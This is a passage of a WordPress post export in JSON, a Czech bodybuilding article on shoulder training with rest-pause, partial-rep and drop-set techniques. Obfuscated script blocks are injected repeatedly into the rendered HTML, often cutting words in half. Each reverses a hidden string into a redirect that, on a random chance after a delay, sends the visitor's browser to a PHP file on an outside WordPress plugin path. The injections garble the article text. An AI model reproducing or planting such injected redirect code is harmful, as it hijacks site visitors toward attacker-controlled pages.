$NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toji***<\/td><td>2<\/td><td>10-12<\/td><\/tr><tr><td>P\u0159\u00edtahy s&nbsp;kladkou ve s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toji \u0161irok\u00fdm \u00fachopem****<\/td><td>2<\/td><td>7-9<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>*<strong>Odpo\u010dinkov\u00e1 pauza<\/strong>: p\u0159i t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to technice si zvol\u00edte z\u00e1t\u011b\u017e, kter\u00e1 v\u00e1m umo\u017en\u00ed dos\u00e1hnout vy\u010derp\u00e1n\u00ed po p\u0159edepsan\u00e9m po\u010dtu opakov\u00e1n\u00ed (10-12). Pak si d\u00e1te 15 sekund pauzu a op\u011bt budete cvi\u010dit do vy\u010derp\u00e1n\u00ed se stejnou v\u00e1hou. N\u00e1sleduje pauza 30 sekund a pot\u00e9 odcvi\u010dte maximum striktn\u00edch opakov\u00e1n\u00ed, kter\u00e1 zvl\u00e1dnete. T\u00edm m\u00e1te za sebou jednu s\u00e9rii s&nbsp;odpo\u010dinkovou pauzou.<\/p>\n\n\n\n<p>**<strong>Jedno a p\u016fl opakov\u00e1n\u00ed<\/strong>: ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to unik\u00e1tn\u00ed zp\u016fsob proveden\u00ed opakov\u00e1n\u00ed svaly skute\u010dn\u011b \u0161okuje. Za\u010dnete t\u00edm, \u017ee z\u00e1t\u011b\u017e vytla\u010d\u00edte nahoru, pak ji pomalu spust\u00edte dol\u016f a n\u00e1sledn\u011b vytla\u010d\u00edte do poloviny dr\u00e1hy pohybu. Op\u011bt se vr\u00e1t\u00edte dol\u016f a m\u00e1te odcvi\u010den\u00e9 jedno a p\u016fl opakov\u00e1n\u00ed.<\/p>\n\n\n\n<p>***<strong>Opakov\u00e1n\u00ed v&nbsp;\u010d\u00e1ste\u010dn\u00e9m rozsahu pohybu<\/strong>: t\u00edm<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zp\u016fsobem m\u016f\u017eete dos\u00e1hnout vylu\u010dov\u00e1n\u00ed kyseliny ml\u00e9\u010dn\u00e9, d\u00edky \u010demu\u017e se dostav\u00ed siln\u00e9 p\u00e1len\u00ed ve svalu a jak u\u017e je v\u00e1m asi jasn\u00e9, p\u016fjde o v\u00fdrazn\u00fd r\u016fs<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00fd stimul. Tak\u017ee jakmile dos\u00e1hnete standardn\u00edm zp\u016fsobem svalov\u00e9ho vy\u010derp\u00e1n\u00ed (tzn. cvi\u010dili jste v&nbsp;pln\u00e9m rozsahu pohybu), budete pokra\u010dovat ve cvi\u010den\u00ed v&nbsp;\u010d\u00e1ste\u010dn\u00e9m pohybov\u00e9m rozsahu, i kdybyste m\u011bli z\u00e1t\u011b\u017e\u00ed pohybovat jen v&nbsp;dr\u00e1ze n\u011bkolika m\u00e1lo centimetr\u016f.<\/p>\n\n\n\n<p>****<strong>Drop s\u00e9rie<\/strong>: jde o klasickou techniku nav\u00fd\u0161en\u00ed intenzity a sou\u010dasn\u011b o jednu z&nbsp;nejlep\u0161\u00edch, kter\u00e9 v\u00e1m pomohou vylep\u0161it zaost\u00e1vaj\u00edc\u00ed svalovou partii. Zvolte si z\u00e1t\u011b\u017e, se kterou dos\u00e1hnete vy\u010derp\u00e1n\u00ed v&nbsp;p\u0159edepsan\u00e9m po\u010dtu opakov\u00e1n\u00ed (7-9). A\u017e u\u017e nebudete schopni prov\u00e9st ani jedno striktn\u00ed opakov\u00e1n\u00ed, z\u00e1t\u011b\u017e o 20-30 % sni\u017ete a znovu cvi\u010dte do vy\u010derp\u00e1n\u00ed.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Vyu\u017eijte k&nbsp;budov\u00e1n\u00ed mohutn\u00fdch deltov\u00fdch sval\u016f speci\u00e1ln\u00ed tr\u00e9ninkov\u00e9 techniky. Kdybychom m\u011bli zm\u00ednit jednu jedinou svalovou partii, kter\u00e1 na prvn\u00ed pohled odli\u0161\u00ed \u0161ampiona od pr\u016fm\u011brn\u00e9ho sportovce, pak by to bezpochyby byla ramena. Pro\u010d? P\u0159edev\u0161\u00edm proto, \u017ee jde o partii dob\u0159e viditelnou ze v\u0161ech stran. Rozvinut\u00e9 deltov\u00e9 svaly m\u016f\u017eete obdivovat zep\u0159edu, zezadu i z&nbsp;boku. \u0160irok\u00e1 ramena jednodu\u0161e nep\u0159ehl\u00e9dnete, a\u0165 u\u017e m\u00e1 doty\u010dn\u00fd na sob\u011b tri\u010dko, svetr nebo oblek. \u017d\u00e1dn\u00e1 jin\u00e1 svalov\u00e1 skupina toho o n\u00e1ro\u010dnosti va\u0161ich tr\u00e9nink\u016f tolik nevypov\u00edd\u00e1. Bohu\u017eel je \u010dasto zna\u010dn\u00fd rozd\u00edl mezi t\u00edm, jak mohutn\u00e9 byste delty cht\u011bli m\u00edt, a jak mohutn\u00e9 tyto svaly moment\u00e1ln\u011b m\u00e1te. Jestli se v\u00e1m zd\u00e1, \u017ee v\u00fdsledky \u00fapln\u011b neodpov\u00eddaj\u00ed vynalo\u017een\u00e9mu \u00fasil\u00ed, mo\u017en\u00e1 pot\u0159ebujete s&nbsp;tr\u00e9ninkem trochu poradit. Co v\u00e1m m\u016f\u017ee pomoct? P\u0159edev\u0161\u00edm procvi\u010dov\u00e1n\u00ed ramen v&nbsp;den, kdy nebudete tr\u00e9novat \u017e\u00e1dnou dal\u0161\u00ed partii. P\u0159\u00edli\u0161 mnoho sportovc\u016f se sna\u017e\u00ed spojit tr\u00e9nink ramen s&nbsp;jin\u00fdmi \u2013 obvykle v\u011bt\u0161\u00edmi \u2013 svalov\u00fdmi skupinami, nap\u0159\u00edklad s&nbsp;hrudn\u00edkem nebo z\u00e1dy. To je ale velk\u00e1 chyba. Pokud chcete maximalizovat hmotu i hustotu, tohle nen\u00ed vhodn\u00e1 cesta. Pak taky pot\u0159ebujete ramena cvi\u010dit v\u00edcekr\u00e1t ne\u017e jenom jednou t\u00fddn\u011b. Ka\u017ed\u00fd zku\u0161en\u00fd tren\u00e9r i sportovec v\u00e1m potvrd\u00ed, \u017ee pokud m\u00e1te n\u011bjakou zaost\u00e1vaj\u00edc\u00ed partii vylep\u0161it, d\u00e1v\u00e1 smysl zkusit, zda se neosv\u011bd\u010d\u00ed \u010dast\u011bj\u0161\u00ed stimulace. Jako nejlep\u0161\u00ed se mnohdy jev\u00ed jeden samostatn\u00fd tr\u00e9nink a jeden mini-tr\u00e9nink o n\u011bkolik dn\u016f pozd\u011bji. Tak\u017ee pokud nap\u0159\u00edklad v\u011bnujete samostatn\u00e9mu procvi\u010den\u00ed ramen pond\u011bl\u00ed a zvl\u00e1dnete n\u011bjak\u00fdch 12-14 s\u00e9ri\u00ed, m\u016f\u017eete tuto partii znovu procvi\u010dit je\u0161t\u011b ve \u010dtvrtek spolu s&nbsp;jinou parti\u00ed a pouze v&nbsp;polovi\u010dn\u00edm objemu (6-7 s\u00e9ri\u00ed). D\u00e1le kontrolujte negativn\u00ed f\u00e1zi pohybu. Hypertrofie (n\u00e1r\u016fst sval\u016f) je stimulov\u00e1na p\u0159edev\u0161\u00edm, kdy\u017e zpomal\u00edte excentrickou f\u00e1zi ka\u017ed\u00e9ho opakov\u00e1n\u00ed. A to nejenom p\u0159i z\u00e1kladn\u00edch tlakov\u00fdch cvic\u00edch, ale i p\u0159i upa\u017eov\u00e1n\u00ed \u010di p\u0159\u00edtaz\u00edch. Ur\u010dit\u011b tak\u00e9 d\u00e1v\u00e1 smysl st\u0159\u00eddat nejr\u016fzn\u011bj\u0161\u00ed \u201e\u0161okov\u00e9\u201c techniky. Zaost\u00e1vaj\u00edc\u00ed svalov\u00e9 partie je v\u011bt\u0161inou t\u0159eba donutit k&nbsp;r\u016fstu v\u011bt\u0161\u00edm \u00fasil\u00edm a prost\u0159ednictv\u00edm n\u011bjak\u00e9ho unik\u00e1tn\u00edho typu stimulace. Skv\u011bl\u00e9 v\u00fdsledky slibuje nap\u0159\u00edklad t\u0159\u00edt\u00fddenn\u00ed cyklus, kdy vyu\u017e\u00edv\u00e1te p\u0159i ka\u017ed\u00e9m cviku jednu speci\u00e1ln\u00ed techniku. Obvykle ned\u00e1v\u00e1 smysl takto svaly \u0161okovat del\u0161\u00ed dobu ne\u017e zmi\u0148ovan\u00e9 t\u0159i t\u00fddny. Pak si dop\u0159ejte t\u00fdden standardn\u00edho tr\u00e9ninku a dle pot\u0159eby m\u016f\u017eete za\u0159adit dal\u0161\u00ed cyklus. Uvid\u00edte, \u017ee se v\u00e1m svaly odm\u011bn\u00ed n\u00e1r\u016fstem objemu i s\u00edly. TR\u00c9NINK RAMEN S&nbsp;\u0160OKOV\u00ddMI TECHNIKAMI Cvik S\u00e9rie Opakov\u00e1n\u00ed Upa\u017eov\u00e1n\u00ed s&nbsp;jednoru\u010dkami vsed\u011b v&nbsp;p\u0159edklonu* 2 10-12 Tlaky na p\u0159\u00edstroji vsed\u011b** 2 7-9 Upa\u017eov\u00e1n\u00ed s&nbsp;jednoru\u010dkami ve stoji*** 2 10-12 P\u0159\u00edtahy s&nbsp;kladkou ve stoji \u0161irok\u00fdm \u00fachopem**** 2 7-9 *Odpo\u010dinkov\u00e1 pauza: p\u0159i t\u00e9to technice si zvol\u00edte z\u00e1t\u011b\u017e, kter\u00e1 v\u00e1m umo\u017en\u00ed dos\u00e1hnout vy\u010derp\u00e1n\u00ed po p\u0159edepsan\u00e9m po\u010dtu opakov\u00e1n\u00ed (10-12). Pak si d\u00e1te 15 sekund pauzu a op\u011bt budete cvi\u010dit do vy\u010derp\u00e1n\u00ed se stejnou v\u00e1hou. N\u00e1sleduje pauza 30 sekund a pot\u00e9 odcvi\u010dte maximum striktn\u00edch opakov\u00e1n\u00ed, kter\u00e1 zvl\u00e1dnete. T\u00edm m\u00e1te za sebou jednu s\u00e9rii s&nbsp;odpo\u010dinkovou pauzou. **Jedno a p\u016fl opakov\u00e1n\u00ed: tento unik\u00e1tn\u00ed zp\u016fsob proveden\u00ed opakov\u00e1n\u00ed svaly skute\u010dn\u011b \u0161okuje. Za\u010dnete t\u00edm, \u017ee z\u00e1t\u011b\u017e vytla\u010d\u00edte nahoru, pak ji pomalu spust\u00edte dol\u016f a n\u00e1sledn\u011b vytla\u010d\u00edte do poloviny dr\u00e1hy pohybu. Op\u011bt se vr\u00e1t\u00edte dol\u016f a m\u00e1te odcvi\u010den\u00e9 jedno a p\u016fl opakov\u00e1n\u00ed. ***Opakov\u00e1n\u00ed v&nbsp;\u010d\u00e1ste\u010dn\u00e9m rozsahu pohybu: t\u00edmto zp\u016fsobem m\u016f\u017eete dos\u00e1hnout vylu\u010dov\u00e1n\u00ed kyseliny ml\u00e9\u010dn\u00e9, d\u00edky \u010demu\u017e se dostav\u00ed siln\u00e9 p\u00e1len\u00ed ve svalu a jak u\u017e je v\u00e1m asi jasn\u00e9, p\u016fjde o v\u00fdrazn\u00fd r\u016fstov\u00fd stimul. Tak\u017ee jakmile dos\u00e1hnete standardn\u00edm zp\u016fsobem svalov\u00e9ho vy\u010derp\u00e1n\u00ed (tzn. cvi\u010dili jste v&nbsp;pln\u00e9m rozsahu pohybu), budete pokra\u010dovat ve cvi\u010den\u00ed v&nbsp;\u010d\u00e1ste\u010dn\u00e9m pohybov\u00e9m rozsahu, i kdybyste m\u011bli z\u00e1t\u011b\u017e\u00ed pohybovat jen v&nbsp;dr\u00e1ze n\u011bkolika m\u00e1lo centimetr\u016f. ****Drop s\u00e9rie: jde o klasickou techniku nav\u00fd\u0161en\u00ed intenzity a sou\u010dasn\u011b o jednu z&nbsp;nejlep\u0161\u00edch, kter\u00e9 v\u00e1m pomohou vylep\u0161it zaost\u00e1vaj\u00edc\u00ed svalovou partii. Zvolte si z\u00e1t\u011b\u017e, se kterou dos\u00e1hnete vy\u010derp\u00e1n\u00ed v&nbsp;p\u0159edepsan\u00e9m po\u010dtu opakov\u00e1n\u00ed (7-9). A\u017e u\u017e nebudete schopni prov\u00e9st ani jedno striktn\u00ed opakov\u00e1n\u00ed, z\u00e1t\u011b\u017e o 20-30 % sni\u017ete a znovu cvi\u010dte do vy\u010derp\u00e1n\u00ed.<\/p>\n","protected":false},"author":2,"featured_media":706,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-705","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/705","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=705"}],"version-history":[{"count":2,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/705\/revisions"}],"predecessor-version":[{"id":709,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/705\/revisions\/709"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/706"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=705"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=705"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=705"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}